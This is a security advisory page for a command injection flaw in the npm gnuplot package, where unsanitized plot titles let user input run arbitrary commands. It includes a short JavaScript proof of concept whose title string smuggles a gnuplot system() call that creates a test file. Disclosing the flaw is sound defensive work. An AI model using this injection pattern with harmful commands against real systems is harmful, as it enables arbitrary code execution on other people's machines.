Critical

Command Injection in gnuplot

  • Disclosed: 04.09.2020
  • Updated: 11.10.2026 10:22

All versions of gnuplot are vulnerable to Command Injection. The package fails to sanitize plot titles, which may allow attackers to execute arbitrary code in the system if the title value is supplied by a user. The following proof-of-concept creates a testing file in the current directory:

js
var gnuplot = require('gnuplot');

const title = '"\nset title system("touch testing")\n#';

gnuplot()
.set('term png')
.set('output "out.png"')
.set(`title "${title}"`)
.set('xrange [-10:10]')
.set('yrange [-2:2]')
.set('zeroaxis')
.plot('(x/4)**2, sin(x), 1/x')
.end();

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package gnuplot >= 0.0.0 no fix

References

CVSS score -
Weakness (CWE)
CWE-77
Platform
npm
Package
gnuplot
Disclosed
04.09.2020
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-cfwc-xjfp-44jg - CC BY 4.0

Vulnerability history: gnuplot

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.